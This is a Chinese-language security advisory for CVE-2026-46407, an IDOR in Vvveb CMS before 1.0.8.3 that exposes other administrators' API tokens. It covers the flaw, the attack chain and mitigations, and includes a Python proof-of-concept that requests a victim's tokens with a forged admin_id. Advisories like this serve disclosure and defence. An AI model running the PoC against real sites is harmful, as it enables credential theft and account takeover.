IPBUF安全漏洞报告
English
CVE-2026-46407 CVSS 8.1 高危

CVE-2026-46407 VvvebJs 管理员令牌泄露漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-46407
漏洞类型
越权访问 (IDOR)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vvveb CMS

相关标签

IDOR越权访问信息泄露VvvebCVE-2026-46407

漏洞概述

Vvveb CMS是一款功能强大的开源内容管理系统,集成了页面构建器功能。在1.0.8.3版本之前,其后端存在一个安全漏洞。攻击者如果拥有低权限管理员账号,可以通过`admin/auth-token`端点,构造特定的请求参数(如`admin_id`)来读取其他管理员的REST API令牌列表。这属于典型的越权访问漏洞,导致敏感的API凭证泄露。攻击者利用泄露的令牌可以接管其他管理员账户,进而完全控制受影响网站的安全。该漏洞在1.0.8.3版本中已得到修复。

技术细节

该漏洞的根源在于服务器端对用户请求的访问控制校验存在缺陷。在Vvveb CMS的后端实现中,`admin/auth-token`接口用于获取管理员身份验证所需的API令牌。正常情况下,该接口应仅返回当前登录用户自己的令牌信息。然而,在受影响版本中,应用程序直接信任客户端提供的`admin_id`参数,而未验证该ID是否属于当前已认证的会话用户。攻击者利用此漏洞的过程非常简单。首先,攻击者需要注册或通过其他方式获得一个普通管理员权限的账号。登录后,攻击者分析前端请求发现`admin/auth-token`接口。接着,攻击者修改请求中的`admin_id`参数,将其替换为目标受害者的用户ID。服务器接收到请求后,仅验证了请求者已登录,便直接返回了目标ID对应的敏感API令牌。由于缺乏对象级别的权限检查,攻击者成功绕过了访问限制。获取到高级管理员的API令牌后,攻击者可以使用这些令牌冒充该管理员执行任意操作,造成严重的安全后果。

攻击链分析

STEP 1
信息收集
识别目标网站使用的是Vvveb CMS,并确认版本低于1.0.8.3。
STEP 2
获取低权限账号
攻击者注册或通过弱口令获取一个普通管理员权限的账号。
STEP 3
漏洞利用
使用管理员账号登录,向`admin/auth-token`接口发送请求,并在参数中修改`admin_id`为受害者ID。
STEP 4
信息窃取
服务器因权限校验缺失,返回了受害者的REST API令牌列表。
STEP 5
权限提升
攻击者利用窃取的API令牌,冒充受害者进行后台操作,完全接管系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://example.com" attacker_cookie = "PHPSESSID=attacker_session_id_here" victim_admin_id = "2" # The target admin ID to steal tokens from # The vulnerable endpoint endpoint = f"{target_url}/index.php?module=admin/auth-token" # Headers including the authenticated session of the attacker headers = { "Cookie": attacker_cookie, "User-Agent": "PoC-Scanner/1.0" } # Payload containing the victim's admin_id payload = { "admin_id": victim_admin_id, "action": "get_tokens" } try: # Send the request to exploit the IDOR vulnerability response = requests.post(endpoint, headers=headers, data=payload) if response.status_code == 200: print("[+] Request successful!") print("[+] Response content:") print(response.text) # Check if sensitive tokens are in the response if "token" in response.text.lower(): print("[!] Potential API tokens leaked.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Vvveb < 1.0.8.3

防御指南

临时缓解措施
如果无法立即升级,建议在网络层面限制对`/admin/auth-token`接口的访问权限,仅允许受信任的IP地址访问。同时,管理员应检查现有的API令牌使用日志,确认是否存在异常访问,并撤销所有可疑的令牌。此外,应加强身份验证机制,确保接口调用时严格校验会话身份与请求对象ID的一致性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表